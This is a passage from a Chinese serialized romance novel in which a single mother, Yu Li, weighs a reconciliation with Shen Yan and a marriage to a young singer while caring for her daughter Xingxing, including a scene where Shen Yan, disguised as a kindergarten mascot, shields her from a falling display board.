抱住星星的沈砚浑身一怔,俊脸惊愕,很快明白过来她意思,眸色瞬间苦痛。 喻梨已经推门出去。 她回到主卧,靠着门口,身体缓缓滑落。 脑子里崩的那根弦断裂,思绪空白,隔很久,才意识到自己说了什么。 隔壁星星哭声渐弱,渐渐的,像是已经被安抚好,没声儿了。 喻梨抱着膝盖坐在门板后,觉得浑身的力气仿佛被人抽光,她怎么会对残忍星星说出‘不要了’这种话? 沈砚的手机响了三次,是助理提醒他登机的时间,下午的董事会已经延迟到四点,晚上跟政府部门的应酬也推迟到八点,再往后延,恐怕不妥,明天还有飞海外的计划,每一项事情都需要他亲自出席,换别的董事,应该不行。 沈砚看一眼已经哄好停止哭闹的女儿,捏了捏眉心,跟助理说15分钟后下去。 星星哭累了,抱着自己的爱莎公主,不时瞅一眼妈妈的卧室。 沈砚跟她讲了十几分钟道理,小姑娘听进去了,这会儿又很想妈妈了,不时吸吸秀气的小鼻尖,有些愧疚得望着妈妈的卧室。 挂完电话的沈砚走过来,蹲下身跟她平视,温和的:“我们去跟妈妈道歉好不好?” 星星小脸颊动了动,有点不好意思,拉住他手指:“大伯跟我一起去?” “嗯,大伯跟你一起去。”沈砚笑着摸摸她脑袋。 星星走到门口,拍了拍主卧的门,小猫似的叫了声:“妈妈。” 喻梨坐在门背后,听见女儿声响,浑身颤了一下。 “妈妈对不起,我不该说你大坏蛋。”小姑娘看了沈砚一眼,在他鼓励下,勇敢地一鼓作气道。 喻梨喉结滚动,嗓子有点发干,眼睛也很红。 里面没人回应,星星有些失望,但是又有点委屈似的,眼睛一红,又有点想哭,沈砚抱着她,轻轻摸了摸她的脑袋,小声低语了一句什么,星星就吸了吸鼻子,再次说:“妈妈,你原谅星星宝贝,就给宝贝开门好不好?” 隔很久,主卧里没有动静。 星星嘴巴一扁,很是伤心,小脸埋进沈砚脖子里,委屈:“妈妈还在生星星的 气。” 下一秒,门打开,喻梨的眼睛也有点肿。 她只朝星星做了一个伸手的手势,星星立刻从沈砚怀里往她身上扑,眼睛还有点红:“妈妈对不起。” 喻梨将她抱过来,紧紧搂住。 沈砚望着她,看见她眼底的红丝,喉结滚了滚,口吻艰涩:“对不起。” 如果我已经伤害你到,你为了跟我毫无关系,连星星都可以放弃,那应该是多大的伤害…… 喻梨跟他对视,没有说话。 沈砚手指紧握,仿佛不敢再触碰她目光,逃似的转身。 第80章 第80章祁阳,我不背负别人的命…… 沈砚出门后,在门口站立了片刻,忽然又忍不住折返。 赵阿姨给他开门,吃惊:“沈先生,您落东西了?” 沈砚:“没有,麻烦您了。”径直朝主卧的方向走。 喻梨正在跟星星玩耍,母女俩刚和好,星星对妈妈还很依赖,搂着喻梨脖子撒娇:“妈妈,我爱你,我最爱你。” 喻梨亲亲她还沾着泪痕的小脸蛋:“妈妈也最爱你,你是妈妈最重要的宝贝,知道吗?” 星星就好满足。 有人敲门,喻梨以为是赵阿姨,说了声:“进来。” 沈砚推开门,喻梨愣了一下。 沈砚温和说:“星星,我跟妈妈说会儿话,你把妈妈借给我一会儿好吗?” 星星就看一眼他,再看一眼面前喻梨,乖巧地点点头。 沈砚将喻梨拽到客卧。 光线幽暗,冬日冷风从露台吹过来,带着厚重的阴霾。 沈砚喉头滚了滚才说:“知道你不想跟我谈,但我最近有重要行程必须出差,短时间内暂时没办法来南城。喻梨,你……能不能等等我?” 喻梨思维有些混乱,还沉浸在刚才的极端怒气下对女儿说过的重话,原本以为沈砚会借机带走星星,但他没有,喻梨便带着某种困惑。 “等你什么?”喻梨有些困惑。 “不要随意接受别人的心意,考虑清楚,如果非要找替代品,你可以考虑考虑我。”无论是语气还是神情,他态度里透着刻板的严肃与认真。 喻梨愣住。 这实在不像是沈砚能说出来的话。 “如果你希望星星永远是廷屹的女儿,那就考虑考虑我,所有人都会有不确定性,对星星不会投注百分之百的爱,但我可以。” “这句话适用于星星,也适用于你。”沈砚目光沉稳,一字一句。 喻梨实在觉得可笑:“你在我这儿信誉早就崩塌,你凭什么!” “你可以试着再相信我一次,我知道我以前很多事情做错,也并没有什么好辩驳的地方,只能尽所有能力去弥补。我爱你,也爱星星,如果一定有先后,那你可以理解成先爱你,因为爱你,所以爱星星。” “沈砚,你不觉得自己现在来说这种话很可笑也很无耻吗?” “我在心里鄙夷自己一万次,后悔一万次,也于事无补,所以只能选择对你坦诚,对自己坦诚。” 喻梨居然无话可说。 沈砚目光太深,让人无法招架。 “还有,你可以放心,我从来没有想过要跟你争星星的抚养权,因为我知道星星对你很重要,我再卑鄙无耻,也不会从你身旁带走星星,这一点我可以承诺。” 喻梨愣住。 但她很快抓住重点说:“你拿什么承诺?我需要纸质合约。” “可以。” 沈砚答应得很爽快,喻梨反而又不知道可以说什么。 沈砚张唇,还想说什么,手机第N次震动,是助理,大约时间已经确实到了无法再推迟地步。 沈砚直接将电话挂断。 走之前他最后看她一眼:“我的提议你考虑看看,但无论结果是什么,我都保证星星永远属于你,合约我会签好字,让人寄给你。” 说完,他从她身旁走过。 星星不情不愿地跟着妈妈去新的幼儿园参观。 小姑娘嘴唇翘起到可以挂酱油瓶,喻梨忽然好奇,沈砚到底同她说了什么,居然说动她。 “妈妈就算生气也最爱你。” “妈妈不是生你的气,是生我的气。” “因为大伯做错事。” “星星可以帮我跟妈妈道歉吗?” 星星牵着喻梨的手,复读机一样重复沈砚的话。 喻梨有些恍惚。 星星仰起头,天真问她:“妈妈,大伯真的惹你生气了吗?” 见喻梨不回答,又很快问:“他做了什么错事?” 喻梨依旧没吭声。 星星就垂下脑袋,有点丧气的嘟囔:“跟你道歉都不行吗?” 喻梨就知道,星星真的很喜欢沈砚。 她心里滋味莫名,想起沈砚那番话,当时差点儿被他蛊惑。 但他承诺不会从她身边抢走星星,又仿佛给她吃了一颗定心丸,握住女儿的小手时,不禁紧了紧。 从幼儿园出来,星星也闷闷不乐,一脸不开心的小模样。 喻梨想了想,蹲下身问她:“星星真的很不喜欢这里吗?” 今早才因为这个跟妈妈争执过,星星不敢再表达,因此垂着小脑袋不说话。 喻梨怀疑自己早晨说‘不要了’时,星星是否听懂,心里一疼,安抚她:“如果真的不喜欢,我们还是跟果果哥哥一起上下学?” 星星眼睛一亮,又很快黯淡下去:“妈妈会不开心。” 喻梨就知道今天怒急攻心的一句话,星星已经听到心坎里。 大概因为从小生活里只有妈妈,星星一向比别的小孩敏感,最近虽然被徐凤芝和沈砚宠出脾气,但内心深处,对喻梨的依赖是绝对的,偏偏喻梨居然说出‘不要了’这种话。 喻梨心里十万分后悔,恨不得时光倒流,在话无脑过口时,扇自己几巴掌。 她都心疼得不知道怎么办,只能拼命抱住女儿:“星星,对不起,是妈妈今早说错话,你原谅妈妈,妈妈最爱你,永远不会不要你,你如果喜欢bbS,我们不转学了,这学期还是跟你喜欢的书语和茉莉当朋友好不好?” 星星趴在妈妈肩膀上,没回答,而是软软地说:“我最喜欢妈妈。” 听得喻梨更加难受。 这一刻,她忽然跟徐凤芝共情,原来有些人,我们明明用尽全力去爱,但依然会在无意识的时候,伤害到对方。 许英听她提起这件事时自责愧疚的口吻,叹口气。 “别对自己要求那么高,我跟前夫离婚前夕,经常争吵,虽然从来不会当着果果的面,但是果果其实心里知道的,离婚对于果果的伤害,是永远不可逆的,但是我依然选择了这条路。果果调皮的时候,我也忍不住说些气话。” “但是喻梨,那个人是不是对你影响太大,尽管你装作云淡风轻的模样,但你最近所有的情绪波动都跟他有关,不如试着深入的想一想,捋一捋自己的想法。” “婚姻没有你想象容易,我给与你的建议,也只是在万般无奈的情况下,如果他实在要跟你监护权的前提,我不希望你对婚姻做出错误决定,我已经是你现成的例子,否则到时候,伤害的依旧是你自己,还有星星。” 于此同时。 祁阳正跟国内顶级的唱片公司经纪人麦姐,坐在咖啡馆里面谈。 麦姐年过四十,圈内老人,一手捧红两个顶级王牌歌手,有传言说,她早就不带新人。 但麦姐是亲自飞过来跟祁阳谈的。 “你说的理由都是借口,什么担 心不能一心一意写歌,说到底,是你自己没信心成为专业级别的歌手,你在机会面前选择退缩。老实说,我很失望。” 麦姐不愧是经历过娱乐圈沉浮的老人,说起话来一针见血。 祁阳年轻清秀的面庞隐约多了一丝窘迫。 “你知道圈内你这样的创作型歌手有多少吗,雨后春笋,但你知道他们为什么到死都没有站在顶级的舞台上吗,因为没有信念,没有‘绝对可以、我一定可以做到’的信念,我不带瞻前顾后的小年轻,你已经被我pass。”说完,麦姐起身。 祁阳依旧一声黑衣黑裤,手指有些紧张地插在兜里,从最开始,他手指就没放松过,麦姐身上的气质,不同于任何人,有一种认定一件事,就绝对咬住不松口的架势,浑身是长年累月靠经验和积攒下来的笃定和绝对的自信。 是那种在人群中一看,就知道跟着她走一定没问题的强大自信。 “我能问问,您为什么挑中我吗?是因为有人跟您提要求带我吗?”祁阳忍不住,还是问道。 麦姐正在重新戴上墨镜,闻言看他一眼:“要求?你觉得即便有人推荐你,我需要亲自带你吗,看来你对这个圈子,了解得还是太少。”说完,麦姐摇摇头。 祁阳愣住。 祁阳跟喻梨打电话时,喻梨正在购买回北城的机票,她答应徐凤芝,开学之前,要带星星再回去看她一次。 “可以跟你还有星星一起吃顿饭吗?”电话那端,祁阳邀请道。 喻梨看一眼正在用磁力片搭城堡的星星,想了想:“可以,我们约在哪里?” 两个人商量了一个地方,约的下午带星星去海洋公园玩。 祁阳贴心的准备了礼物,星星虽然见过他,但还是有点害羞,躲在妈妈身后,抱着妈妈的腿。 喻梨就帮星星接了:“谢谢。” 祁阳准备得很用心,似乎已经提前来海洋馆踩过点,还提前储备了一些海洋动物知识,讲给星星听的时候,声音抑扬顿挫,听得星星眼睛都忍不住睁大。 慢慢的,星星也就跟祁阳混熟了,小姑娘对帅哥,似乎一直没什么抵抗力。 吃完晚餐,星星打起瞌睡,喻梨本来想抱她,祁阳抬手,将沉甸甸的星星抱在怀里,让她脑袋靠在自己肩膀上睡觉。 他抱星星的姿势还有些生涩,但看得出来,已经在尽力调整让星星觉得舒服的姿势了。 祁阳把母女俩送回家时,许英刚好看到。 事后,还是忍不住多嘴问喻梨:“你真的决定好了?” 喻梨说:“可能我最近觉得太累,确实希望有人能跟我一起分担。” 许英想起她一个人带星星的模样,也切身体会过单亲妈妈的滋味,叹口气:“你觉得合适就行,人生选择从来没有对错,压力不要太大,做选择的时候也是,跟着自己感觉走,我支持你。” 喻梨于是觉得有时候生活也不是光有疲惫和糟糕,比如她刚好有个能共情她的邻居。 第二日,喻梨带星星回北城。 刚到机场时,被人截住。 是上次要做祁阳副驾驶的那个小女生,喻梨听完对方的话,脸色平淡,转身带着星星要走。 被对方连续拦住两次,直到喻梨请来机场安保人员,才得以脱身。 下飞机到北城时,喻梨接到祁阳道歉电话,嗓音非常愧疚:“抱歉,我刚知道小叶去机场找你,给你造成困扰。” “她也是担心你。”喻梨没什么情绪。 小叶跟她表达的东西很简单,希望她放过祁阳,祁阳面前明明摆着一生一次的机会,却因为你选择留在南城,当个小主播,与梦想背道而驰。 大概喻梨态度太冷淡,小叶才会更激动,反复拦住她,甚至吓到星星。 也是因为星星,喻梨才不得不找到安保人员。 电话那端,祁阳口吻就显得忐忑且小心翼翼:“喻梨,你给我选择还奏效对吗,等你从北城回来,我们就去领证?” 喻梨的回答显得有几分薄情:“祁阳,我不背负别人的命运,我还是那句话,你的决定你自己做。” 祁阳很坚定:“我跟你谈过我的想法,到目前为止,这个想法不变。” 喻梨叹口气:“那我们都各自想清楚,等我回南城再说。” “好。” 徐凤芝比上次回来更憔悴瘦削。 像逐渐枯萎且失去颜色的花朵,即使拼命表现出怒放的样子,也有心无力。 喻梨关心她有没有好好吃药,打针。 被徐凤芝嫌弃啰嗦,让她走开一点,她要跟外孙女说说话。 喻梨又问她有没有想去地方,她带星星陪她去。 徐凤芝看着星星笑,仿佛怎么都看不够:“星星想去哪儿,外婆就想去哪里玩。”【你现在阅读的是 】 80-90 第81章 第81章喻梨回北城待了三天,期…… 喻梨回北城待了三天,期间绝大部分时间陪徐凤芝,但还是托陆哲的关系约到了麦姐。 麦姐说pass就pass,不留情面,果真已经没有再有签约祁阳的打算,喻梨只能在条件上做出让步,祁阳要走,违约金只需要支付一半。 麦姐依旧绝对的高傲,承诺给祁阳两天的时间考虑,过时不候。 喻梨把麦姐的两天期限告诉了小叶。 陆哲的酒吧依然开着,就是生意没有以前好,人稀稀拉拉的,但是比以前安静,dj放得歌也比较舒缓,适合怀旧。 “行啊,小梨子,你这算不算扶持小奶狗,花点小钱行了,花大钱,你这比我还豪横呢?要是人家不领情怎么办?”陆哲亲自给她调酒,调侃道。 “如果在第二次机会面前,他选择的依然是我,那就回去领证。”喻梨坚定道。 陆哲:“你什么时候是被人选择的那一个了,你不都从来把选择权捏自己手里么,别瞎几把糊弄自己,你当你还小孩呢!”显然不赞同他。 喻梨将他调的酒一杯干了,醉得脸颊红扑扑,眼神迷蒙:“难道我不配被人坚定的选择一次吗?凭什么对我一心一意的都要被天收!连徐凤芝都不要我了……” 说完,喻梨就醉倒趴在吧台上。 陆哲摸摸她脑袋,知道这妞心里还有很多过不去的坎儿,难得像个小孩子一样说些气话。 答案在喻梨回南城时揭晓,祁阳在第二次机会面前,终于没有放弃。 喻梨就不知道该高兴还是失落。 但仿佛,松一口气。 背负对方舍弃梦想换来的婚姻,多年后,燃烧的爱意消失,剩余的,只是对彼此的憎恨、厌弃,又有什么意思呢? 喻梨约祁阳去看演唱会。 她其实已经很久没看过演唱会,从星星出生开始,被迫进入妈妈的角色,舍弃自己的部分爱好。 但明明很早以前,她是那种个性鲜明追星少女,能为了喜欢的歌手疯狂花钱,到处托关系抢爱豆的票,也在演唱会上激情呐喊,疯狂打call。 这晚。 祁阳看见的喻梨也很疯,嘶声竭力地朝舞台上呐喊,跟平日清冷淡漠的模样简直大相径庭。 祁阳仿佛第一次认识她似的,有点傻得望着她。 喻梨就朝他吼:“看到没有祁阳,得像这样,有一天,你的舞台下,有这样的效果,你才能请我去你的演唱会!” 祁阳那双干净清澈的眼睛就有点红。 其实他跟沈廷屹一点儿都不像,除开笑的时候。 但是喻梨忽然想,如果沈廷屹还活着,做他喜欢的儿科医生,一直在他梦想的路上,追逐闪耀,该有多好啊! 最后,两个人在演唱会蜂拥而散的人潮中,拥抱,告别。 沈砚知道这件事的时候,刚结束一场商业谈判。 Afterparty,徐清晚跟徐父一同出现,她穿一件裸肩晚礼服,肩颈线条平直,手臂并不纤细,带一点肌肉,非常漂亮且有力量的线条感。 刚在一场国际赛事上夺奖,徐清晚整晚人气非常高,说一句艳光四射也不为过。 但她提着裙摆悄悄尾随去了露台的沈砚。 酒店的花园,因为这场party,无数新鲜花卉从暖和的地方空运而来,夜色里,死命得绽放,馥郁到极致。 沈砚指腹划过散场后喻梨跟祁阳拥抱的照片,在人群退散的潮流里,她们像彼此热爱过然后分别。 他目光阴沉,并没有因为手下发来的两人分手的消息有丝毫快意,反而在这场拥抱里,窥探到喻梨一丝心动的可能。 这种‘可能’让西装笔挺的男人在夜色里散发出一丝冷峻且生人勿进的气息,但徐清晚是运动员,人生绝大部分成功 经验来自于日积月累的训练,擅长水滴石穿那套。 她中意他,就不介意主动一次一次接近他。 她站到沈砚旁边,双手有些随意的搭在栏杆上,背脊的蝴蝶骨非常明显,身体曲线完美,红唇乌发,偏头跟他说话时,眼睛明亮且炙热:“你今晚好像一直有些心不在焉?” “等一个结果。”沈砚将手机滑入兜里,情绪掩在夜色里,侧脸线条锋利且冷硬,但偏高的眉骨和深邃的桃花眼令他在一众西方面孔中非常出挑。 徐清晚就稍稍换了个姿势,仿佛很感兴趣似的,耳垂上的高级珠宝微微晃动:“看你的表情,是好的结果,还是坏的结果?为什么感觉你刚才很紧张?” 沈砚终于偏头看她,目光冷淡克制,看不出对她有丝毫兴趣,只是说:“我跟自己说,无论结果好坏,都能承受,无非再多花一点时间,但原来等待的过程最煎熬,烈火烹油的滋味。”说到这里,他微微勾唇,仿佛自嘲。 徐清晚瞬间有不好的预感,脸上明媚的笑容绷不住,勉强道:“听起来不太像生意场上的事,我能方便知道是什么事吗?” 沈砚将旁边外套松松搭进臂弯间,姿态慵懒:“你猜得很对,是关于我的私人感情。所以抱歉,你不要再在我身上浪费时间。”说完,他迈着长腿往宴会门口走。 徐清晚懵了一两秒钟。 她与沈砚见过两次,两次聊天还算愉快,沈砚是那种即使个性冷峻疏离也带着某种受良好教养的温度,虽然后来再联系他,被他助理找借口推脱他行程繁忙,但这是第一次被沈砚本人正式拒绝。 她有些不甘心,运动员的天性使然,提着裙摆拦在他面前。 “沈砚,你知道我是运动员吧,我每天的生活是重复一遍又一遍的训练,因为只有不断地训练中,才不知道再哪一次能突破自己的极限,我耐心很好,所以,我会再联系你的。”因为奔跑,她微微喘着粗气,说这样大胆的话也丝毫不怯场,脸上表情生动明媚,天然的耀眼。 沈砚单手插兜,态度绅士:“谢谢,受教。我最近追她有点泄气,刚好被你鼓励。” 徐清晚:“.……” 不远处徐父看到这一幕,偷偷将呆愣在原地的女儿拉到一旁,嘱咐:“沈家最近很乱,你不要进去蹚这趟浑水。” 徐清晚不解:“爸爸,你明明答应过我,专心比赛,会帮我追到沈砚。” 徐父叹口气:“我真是把你惯得除了比赛一窍不通,今晚回去让你妈妈跟你讲讲沈家的事。” 沈砚的豪车从奢华的香榭丽舍大街滑过,著名的奢侈品街,琳琅满目的商品专柜,沈砚的目光定格在一家甜点铺,仿佛习惯使然,他让司机停下,撑着黑伞,在细雨中轻轻推开了店铺门。 再出来时,骨节分明的手上拧了一盒蛋糕。 那盒蛋糕只被沈砚尝了一口,第二天舍弃在总统套房内。 沈砚的飞机在第二天晚上9点抵达南城。 上次签合同的大平层在周扬的安排下,年前软装就差不多,用的又是顶级家具材料,这次过来,周扬终于说,已经打理好,老板直接可以入住。 沈砚拖着行李箱,出现在空荡荡的公寓里,落地窗对面可以望见喻梨的租的那栋楼层,已经晚上10点多,她书房的灯还亮着,大约又在加班。 沈砚打开商务电脑,回复了几封邮件,又线上处理了一些积压的公事,直到对面书房灯熄灭,他抬起腕表看一眼时间,喻梨加班到12点,微微皱眉。 第二天是bbs开学的日子。 星星很期待,也很兴奋,一大早就穿着睡衣,爬到她床上:“妈妈,妈妈,起床了,我们要去学校。” 喻梨哭笑不得,把她抱在怀里狠狠亲一口:“宝贝,果果哥哥昨天还因为今天要上幼儿园哭鼻子,你怎么这么开心去学校啊?” 小姑娘眼角还沾着分泌物,小脸带着刚睡醒的粉嘟嘟,把挡在小脸旁边的刘海掀了掀,掰着指头数:“因为可以见到茉莉、方老师、王书语,还有甜甜老师。” “OK!那我们去洗漱吃早餐!”说完,喻梨也从被窝里钻出来,带着女儿去洗漱。 许英今天也特地请假,拉拉扯扯的带着果果出门。 果果眼睛还是红的,被许英牵着,有些不情不愿。 喻梨随口一问,许英差点儿翻白眼:“他问奥特曼都不用上学,为什么他要上?” 喻梨乐了:“好问题。” 跟果果相比,星星的开心溢于言表,坐许英家的suv时,还杵在果果面前,一本正经人家:“你为什么不开心?” 果果哭得鼻子眼睛都很红,不忘翻她一个白眼。 许英一边开车,一边跟喻梨交流:“星星还没开始报兴趣班吗?” 喻梨:“给她上过一些思维课,她不感兴趣,舞蹈课也上完体验课回来跟我哭着说不想去,但是她对水感兴趣,这学期给她试试报游泳班。” “你还真是佛系,果果他们班级,很多寒假就开始上各种兴趣班,什么机器人、编程、户外训练,钢琴课,满满当当,我真是被迫卷。”想到这里,许英就头疼。 喻梨给星星喂了点水:“星星还小,我没那么急,她开心就好。” 星星很开心,幼儿园的开学现场布置得十分精心,活动非常丰富。 门口迎接的是孩子们喜欢的动画人偶,汪汪队成员、小猪佩奇等。 莱德队长站在门口,跟孩子们握手,发入学手册。 “妈妈,你看,是莱德队长!”星星兴奋道,已经甩开喻梨的手,迫不及待跑过去。 刚好茉莉妈妈也牵着茉莉到了学校门口,茉莉看见星星,立刻追上去:“星星等等我。” 茉莉过完年,似乎又圆润了些,差点儿把前面的星星扑倒,还好门口莱德队长蹲下身,稳稳接住两个跌跌撞撞的小女孩。 星星兴奋极了:“莱德队长!” 莱德队长似乎很喜欢她,抱着她左右两个脸颊各蹭了蹭,亲昵无比,把入学手册递给她,耐心地跟她指引,要先去走‘福’路。 莱德玩偶的声音隔着玩偶服传出来,是很好听的男声,但是有点瓮,星星听得有点熟悉。 她正疑惑,旁边茉莉说举手说:“我也要,莱德队长给我,给我。” 莱德队长就把另一份入学手册给了茉莉。 星星立刻把这丝疑惑忘掉,牵着茉莉的手:“走,我们去找妈妈。” “妈妈,莱德队长说要先去走‘福’路。”星星把入学手指指引递给喻梨。 “还有抓‘福’气!”茉莉不甘示弱的补充道。 “弄得挺热闹呀,看来是今年的开学典礼是新年主题。”茉莉妈妈拿着手册说,偏头看一眼喻梨,“新年快乐,星星妈妈。” “新年快乐!”喻梨笑得温婉。 刚到校门口,她就发现了,小二班的家长们都隐隐约约朝她望过来,但脸上再也不是鄙视和阴阳怪气的神情,有畏惧,有敬佩,也有好奇。 喻梨一一受了,杨夫人已经带着儿子彻底转学,涉及的相关家长也付出相应代价,上次事情的风波似乎也彻底结束,既然星星喜欢这里,她也会粉饰太平那套,只要别人不招惹她,她就不会去主动招惹任何人。 摸‘福气’是摸苹果、花生、大葱、橘子和鼓,平安喜乐、好事发生、聪明伶俐、大吉大利、一鼓作气,健康成长。 走‘福’路需要开合跳、换方位双脚跳,四肢着地爬等运动形式,星星跟茉莉比赛,星星个子高,身体轻盈一点儿,运动细胞相比同龄小朋友更优越,完成得特别好,茉莉就显得笨拙一些,但是不会的,星星会趴着认真教她一遍。 莱德队长还在发后面的小朋友的入学手册,但似乎很关注星星跟茉莉,不时偏头往这边望。 最后转完‘福盘’,领完‘福礼’,整个活动流程就基本结束,后面升旗仪式等活动,由老 师亲自带领,家长们可以回去了。 喻梨把女儿送到班级里,看星星跟同学们很快说到一起,孩子们似乎一点儿不受上学期的影响,依然是快快乐乐的模样,她就放心了。 她去上了个洗手间,出来时联系许英,问她准备什么时候走。 喻梨正埋头拿手机发信息,忽然听到楼上有人说了句‘小心’,原来是二楼挂的展板忽然松动,往下掉,眼见着朝喻梨砸过来。 下一秒,喻梨感觉脑袋被人护住,紧接着,视线陷入短暂的黑暗,是展板砸中的声响。 楼上楼下一片惊叫声。 喻梨被属于玩偶的大手以及身躯牢牢护住,再睁眼的时候,发现展板刚好砸在莱德队长身上,光听声音就疼。 很快周围人赶来帮忙。 有家长立刻说:“学校怎么回事,还好人家穿了玩偶服,要是砸到小朋友怎么办?” “学校安全方面太不注意了,今天是开学典礼,多少小朋友会经过这里,简直太过分了!” “你没事吧?”喻梨因为被对方护着,一点伤都没有,看莱德队长硬生生挡住展板,想知道他有没有受伤。 对方摇摇头,看她一眼,确认她没事,转身大步往人群外走。 喻梨追上他,内心很是感谢,如果掉下来砸住的是自己,肯定没那么轻松,她扯住他玩偶服的衣角:“谢谢你。要不要去医院检查一下?你是学校工作人员吗,哪位老师我可以陪你去医院。” 对方望着她,大约她真的很久没用这样关心的眼神看过他,他有些愣神。 喻梨就忍不住摸摸自己的脸:“我脸上有奇怪东西?” 玩偶服里,发出一声轻笑。 莱德队长摇摇头,转身往校办工区方向走。 许英赶过来,抓住喻梨肩膀:“有没有受伤?”她刚才听说了。 喻梨还望着莱德队长的背影,有些奇怪。 “我没事,算了。” “你算了,家长们可算不了,开学就发生这种事,感觉又要吵翻天。”许英叹口气。 喻梨望一眼还在围观的家长人群,校方的人已经很赶过来处理,当时经过的人很多,偏她离得最近,不偏不倚砸中她,周围也有受到惊吓的人群。 “都是为了孩子,毕竟如果真砸中小朋友,就是大的安全事故。”喻梨倒是理解。 两个人朝校门口停车场走,许英按下车锁,也感叹:“我现在也有点赞同你的说法,把果果交给这个学校,我是真的有点不放心了。” “星星喜欢这里,不肯转学,我尊重她。”喻梨笑笑。 刚拉开车门,她忽然想起什么:“你先走,我有点事,不用等我。”说完,折返回学校。 许英想叫住她,她已经小跑向幼儿园,不知道为了什么,咋咋呼呼的。 喻梨往莱德队长去的办公楼的方向走。 沈砚找了间校长安排的办公室,刚换下厚重的玩偶服。 站了一上午,他身上闷出汗,模样不可谓不狼狈,找了纸巾随意擦两下,打算去洗手间处理一下。 推门出去时,他正戴上腕表,整理袖口,喻梨刚巧经过他办公室门口,听到开门声,回头。 戴好腕表的沈砚一眼望见喻梨。 两个人间隔半米左右的距离,沈砚难得带一丝被撞破后的窘迫,喻梨则是,微微的不可思议。 第82章 第82章你们在拍短剧哇?啥子剧…… 沈砚的合约在喻梨从北城回到南城时寄到喻梨家。 许英看完,里面涉及的法律条文非常专业,一看就出自专业律师之手。 对方承诺在喻梨不同意的情况下放弃星星监护权,但是喻梨一旦放弃,对方必须是星星的第一监护人,以及,作为喻梨独自抚养星星的代价,对方给与喻梨宏鑫资本控股的那百分之十八的股份,南城的两处房产,北城的一栋写字楼及三处房产,1.2亿现金,和喻星将会享受到的家族信托。 现金会分15年,到星星成年之前,按月支付。 许英看完自己都惊呆了,如果要帮喻梨过户这些东西,还真的需要她们律师事务所协助帮忙。 而这些是沈砚作为放弃喻星监护权的必备条件,他律师在起草合约时,严丝合缝,涉及到法律用词,极其专业,让人几乎找不出任何漏洞,且给与喻梨抚养喻星的保障直接落到实处,许英找不到喻梨不签署的理由。 但是喻梨暂时没有签字。 不是她清高,而是合约上沈砚除开义务,也享有对星星的一些权力,喻梨还没有考虑好,是否接受沈砚正式参与星星抚养过程。 但事实上无论她同不同意,沈砚都已经参与进来了,且无所不用其极。 比如现在。 沈砚的额前的黑发微微打湿,脖颈上有轻微的出汗,黑色冲锋衣穿得松垮,似乎又瘦了一点,腕上的银灰色手表是定制款,在冷白的肌肤上泛着金属感的冷光,五官因为过分瘦削,线条近乎锋利,眉眼深邃,大约因为憋在玩偶服里,泛着某种潮红,样子跟平日清冷俊傲模样的确大相径庭。 他单手插兜:“怎么认出来的?” 喻梨简直不知道说什么好:“有必要这样么?” 两个人同时开口,又同时缄默。 隔一会儿,沈砚解释:“想陪星星开学,跟你提过,但你不同意,我如果擅自出现,你会不高兴。” “但你还是出现。不要装出这副委屈的模样,你不是一直在一边按照你自己的心意做事,一边惹我不高兴吗?”喻梨说得一针见血。 沈砚垂眸,桃花眼底的情绪被遮挡,承认:“嗯,所以没办法改变自己的心意,就改变自己做事方式,按照你喜欢的方式来。” 他这一语双关的,信息量极大。 喻梨被他的理直气壮简直快气笑,偏过视线,忽然有种无话可说的哑口。 她转身走得极快。 沈砚大步追上她:“既然被你发现,要不要一起吃顿午饭?上次让你考虑的事情,你还没有回复我。” 他还敢提上次,喻梨冷笑,刚要开口嘲讽,发现他脖颈处有明显的淤青,应该是刚才承接那块展板时被砸到的,偏他无知无觉,仿佛自己都没有发现。 喻梨到嘴边的话瞬间卡壳,看他的目光复杂:“吃饭?你要不要先去检查一下自己的脑子有没有被砸坏再说?” 否则怎么可能干的出在开学季,扮人偶,在门口给孩子们发入学手册这种事? 沈砚莫名,手掌顺着她视线摸了摸自己脖颈,大概是触碰到那块淤青,俊脸‘嘶’了一下,露出某种痛苦神色,领口掀开一点,淤青往下沿,沿着背肌的部分,看起来确实伤得不清。 喻梨微微皱眉,她本来是嘲讽他,看到大面积淤痕,情绪复杂。 沈砚像刚发现伤口似的,顺势要求:“你刚才说,可以陪我去医院。”一副要她负责的态度。 喻梨想回他‘难道小孩子,这种还需要人陪’,但张了张唇,刚才确实被他救下,就很难开这种口。 她喉咙里发出一声意味不明的声音,像是同意,转身就走。 沈砚在她背后,薄唇忍不住往上翘了翘。 医院消毒水味道味道很重。 沈氏在南城也有自己私立医院,大约有人提前安排,沈砚车一到,已经有穿白大褂 的主任级别的医生迎出来。 沈砚便同她做介绍:“这位是严主任。” 严主任第一次被沈砚隆重介绍,看喻梨的眼光便瞬间不同,更殷勤了些。 几个人陪同着,检查伤口、拍片确认有没有伤到脊椎,以及处理伤口。 解开衬衫时,沈砚背部淤青确实严重,年轻的护士帮他涂抹药物,他背肌开阔,上半身裸露时,肌肉线条感非常明显,年轻女护士脸色微微发红。 沈砚似是不察,目光专注放在门口,喻梨正在那里接电话。 应该是工作电话,谈话内容隐约从走廊飘来,她语速平稳,应对下属的问题时很专业,三两下指出问题核心,侧脸沉静。 很快挂断电话,喻梨抬眸,看一眼治疗室内场景,沈砚衣衫半敞,旁边小护士脸色微红,帮他涂抹伤口的手似乎都在抖。 大概手重,沈砚‘嘶’得一声,发出轻微疼痛的声响,偏头看女护士,对方脸已经红到爆炸,声若蚊呐:“抱歉,我轻点儿。” “不用了,换她。”说完,沈砚目光落在门楼抱胸看热闹的喻梨身上。 小护士立刻将药跟棉签递给喻梨,涨红着脸跑出去。 “你觉得……”喻梨被迫拿着擦拭的药物,刚准备开口拒绝。 “你既然不准备道谢,也跟来了,那试试,你应该不想欠我。”被沈砚打断。 喻梨被他点破,倒也不好再拒绝。 但她下手重,沈砚一声不吭的忍着。 喻梨擦拭着,忽然注意到他肩胛骨那块似月牙状的疤痕,目光凝了一瞬。 是那年她从槐树上摔下,沈砚莽撞的准备接她,却被她扑到,树枝插进背部,差点损伤神经,留下的伤痕。 不知不觉,她动作轻了点。 记忆其实已经很模糊,但曾经有那么些年,他确实对她无与伦比的纵容,否则她又不是白痴笨蛋,不至于那样迷恋。 所以后面遭受伤害的反差才会那样深刻,无法释怀。 沈砚似乎感受她变化,忍不住偏头望她一眼。 她不知道想到什么,表情十分冷淡,眼神有些恍惚,但手上动作温柔了点。 “严主任的名片你留了吗,下次你和星星有问题,可以直接联系他帮忙。”沈砚忽然说。 喻梨没有回答,将药涂抹完,随意放在旁边药箱里,口吻淡漠:“我去找护士,看还需要怎么处理。” 沈砚拽住她手心:“喻梨。” 